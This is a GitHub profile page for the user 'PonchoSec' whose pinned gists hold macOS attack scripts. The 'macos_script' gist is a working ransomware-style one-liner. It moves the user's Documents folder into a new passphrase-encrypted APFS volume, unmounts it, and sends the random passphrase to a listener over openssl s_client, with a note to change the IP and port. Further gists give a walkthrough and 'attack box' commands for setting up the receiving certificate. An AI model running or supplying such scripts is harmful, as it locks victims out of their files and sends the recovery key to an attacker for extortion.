Skip to content
View PonchoSec's full-sized avatar
🦦
🦦

Block or report PonchoSec

Block user

Prevent this user from interacting with your repositories and sending you notifications. Learn more about blocking users.

You must be logged in to block users.

Maximum 250 characters. Please don't include any personal information such as legal names or email addresses. Markdown supported. This note will be visible to only you.
Report abuse

Contact GitHub support about this user’s behavior. Learn more about reporting abuse.

Report abuse

Pinned Loading

  1. Intro Intro Public

    Welcome to my GitHub Profile

  2. macos macos Public

    all things macOS

    Shell

  3. macos_script macos_script
    1
    #! /usr/bin/env bash
    2
    sh -c 'p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";mv -f ~/Documents/* /Volumes/XX;diskutil umount XX;echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;p="";'
    3
    # change the IP address and Port number
    4
    # Use chmod +x <name>.sh to make the script executable
    5
    # With OpenSSL
  4. macos_script_walkthrough.sh macos_script_walkthrough.sh
    1
    #! /usr/bin/env bash
    2
    
                  
    3
    # Creating random and unique password
    4
    p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");
    5
    
                  
  5. macos_openssl_instructions macos_openssl_instructions
    1
    # attack box
    2
    # run first
    3
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -subj "/CN=$cn\/emailAddress=admin@$cn/C=US/ST=Ohio/L=Columbus/O=Widgets Inc/OU=Some Unit" -out cert.pem -days 1 -nodes 2>/dev/null
    4
    
                  
    5
    # run second